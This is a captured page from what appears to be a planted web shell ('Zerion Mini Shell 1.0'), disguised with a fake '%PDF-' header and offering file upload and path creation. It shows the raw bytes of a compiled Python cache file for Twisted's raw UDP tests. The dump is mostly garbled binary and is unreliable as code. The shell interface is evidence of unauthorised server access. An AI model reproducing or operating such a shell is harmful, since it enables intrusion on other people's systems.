%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/pair/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/pair/test/__pycache__/test_rawudp.cpython-312.pyc

�

Ϫ�f�)���ddlmZddlmZddlmZddlmZGd�dej�Z	Gd�dej�Zy	)
�)�annotations)�protocol)�rawudp)�unittestc��eZdZdd�Zdd�Zy)�
MyProtocolc�$�t|�|_y)N)�list�	expecting)�selfrs  �?/usr/lib/python3/dist-packages/twisted/pair/test/test_rawudp.py�__init__zMyProtocol.__init__
s
���i����c��|\}}|jsJd��|jjd�\}}}||k(sJdj||���||k(sJdj||���||k(sJd||||fz��y)Nz(Got a packet when not expecting anymore.rzExpected data {!r}, got {!r}zExpected host {!r}, got {!r}z&Expected port %d=0x%04x, got %d=0x%04x)r�pop�format)r�data�peer�host�port�
expectData�
expectHost�
expectPorts        r
�datagramReceivedzMyProtocol.datagramReceiveds������t��~�~�I�I�I�~�-1�^�^�-?�-?��-B�*�
�J�
��T�!�	
�#A�#H�#H���$
�	
�!��T�!�	
�#A�#H�#H���$
�	
�!��T�!�	
�#K�����	O
�$
�	
�!rN)rzlist[tuple[bytes, bytes, int]]�return�None)r�bytesrztuple[bytes, int]rr)�__name__�
__module__�__qualname__rr�rr
rrs��)�
rrc�T�eZdZdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Z	dd�Z
dd	�Zy
)�RawUDPTestsc���tj�}tdg�}|jd|�|j	dddddddddddddd��|j
rJd|j
z��y�	N��foobar�testHosti�C���C��ޭfoobarr�dummyr(�
�partial�dest�sourcer�version�ihl�tos�tot_len�fragment_id�fragment_offset�
dont_fragment�more_fragments�ttl�5Should not expect any more packets, but still want %r�r�RawUDPProtocolr�addProtorr�r�proto�p1s   r
�testPacketParsingzRawUDPTests.testPacketParsing$s����%�%�'��
�0�
�
��
	���v�r�"�
���
�
�������� �$�"�#��%	�	
�*�<�<�	
�C�b�l�l�R�	
��<rc�&�tj�}tddg�}|jd|�|j	dddddddddddddd��|j	d	ddd
dddddddddd��|j
rJd|j
z��y)Nr&��quux�	otherHosti�3r)r*rr+r(r,�3��ޭquuxrDr9r:r=s   r
�testMultiplePacketszRawUDPTests.testMultiplePacketsFs����%�%�'��
�0�/�
�
��	���v�r�"�
���
�
�������� �$�"�#��%	�	
�(	���
�
�������� �$�"�#��%	�	
�*�<�<�	
�C�b�l�l�R�	
��<rc�b�tj�}tdg�}tdg�}|jd|�|jd|�|j	dddddddddddddd��|j
rJd|j
z��|j
rJd|j
z��yr%r:�rr>r?�p2s    r
�testMultipleSameProtosz"RawUDPTests.testMultipleSameProtos|s����%�%�'��
�0�
�
���0�
�
��	���v�r�"�
���v�r�"�
���
�
�������� �$�"�#��%	�	
�*�<�<�	
�C�b�l�l�R�	
���<�<�	
�C�b�l�l�R�	
��<rc��tj�}tg�}|jd|�|j	dddddddddddddd��y)N�r*rr+r(r,)rr;rr<rr=s   r
�testWrongProtoNotSeenz!RawUDPTests.testWrongProtoNotSeen�sh���%�%�'��
��^��
���q�"��
���
�
�������� �$�"�#��%	�	
rc� �tj�}tddg�}|jd|�tddg�}|jd|�|j	ddd	d
d	d	d	d	d	d	d	d	d	d	��|j	ddd	d
d	d	d	d	d	d	d	d	d	d	��|j	ddd	d
d	d	d	d	d	d	d	d	d	d	��|j	ddd	d
d	d	d	d	d	d	d	d	d	d	��|j
rJd|j
z��|j
rJd|j
z��y)Nr&rBr))rCrDi�)r'r(i�iP�s��Pޭquuxrr+rDr,r*r(rEs��Pޭfoobarr9r:rHs    r
�testDemuxingzRawUDPTests.testDemuxing�s����%�%�'��
�0�/�
�
��	���v�r�"�
�/�0�
�
��	���v�r�"�
���
�
�������� �$�"�#��%	�	
�(	���
�
�������� �$�"�#��%	�	
�(	���
�
�������� �$�"�#��%	�	
�(	���
�
�������� �$�"�#��%	�	
�*�<�<�	
�C�b�l�l�R�	
���<�<�	
�C�b�l�l�R�	
��<rc��tj�}	|jdd�td��#t$r}|j
dk(rn�Yd}~yd}~wwxYw)z2Adding a wrong level protocol raises an exception.�*�	silliness�2addProto must raise an exception for bad protocols)z6Added protocol must be an instance of DatagramProtocolN)rr;r<�AssertionError�	TypeError�args�r�es  r
�testAddingBadProtos_WrongLevelz*RawUDPTests.testAddingBadProtos_WrongLevel-s\���!�!�#��	W�
�J�J�r�;�'�!�!U�V�V��
�	��v�v�T�T�����	�s�3�	A�A�Ac���tj�}	|jdtj��td��#t$r}|jdk(rn�Yd}~yd}~wwxYw)z=Adding a protocol with a negative number raises an exception.���rS)z'Added protocol must be positive or zeroN�rr;r<r�DatagramProtocolrTrUrVrWs  r
�testAddingBadProtos_TooSmallz(RawUDPTests.testAddingBadProtos_TooSmall:se���!�!�#��	W�
�J�J�r�8�4�4�6�7�!�!U�V�V��
�	��v�v�E�E�����	���$A�	A)�A$�$A)c���tj�}	|jdtj��td��#t$r}|jdk(rn�Yd}~yd}~wwxYw)�<Adding a protocol with a number >=2**16 raises an exception.irS�z"Added protocol must fit in 16 bitsNr\rWs  r
�testAddingBadProtos_TooBigz&RawUDPTests.testAddingBadProtos_TooBigGse���!�!�#��	W�
�J�J�u�h�7�7�9�:�!�!U�V�V��
�	��v�v�@�@�����	�r_c���tj�}	|jdtj��td��#t$r}|jdk(rn�Yd}~yd}~wwxYw)rairSrbNr\rWs  r
�testAddingBadProtos_TooBig2z'RawUDPTests.testAddingBadProtos_TooBig2Tse���!�!�#��	W�
�J�J�y�(�";�";�"=�>�!�!U�V�V��
�	��v�v�@�@�����	�r_N)rr)rrr r@rFrJrMrOrYr^rcrer!rr
r#r##s8�� 
�D4
�l+
�Z
�4h
�TW�W�W�Wrr#N)�
__future__r�twisted.internetr�twisted.pairr�
twisted.trialrr]r�TestCaser#r!rr
�<module>rks=��#�%��#�
��*�*�
�.|W�(�#�#�|Wr

Zerion Mini Shell 1.0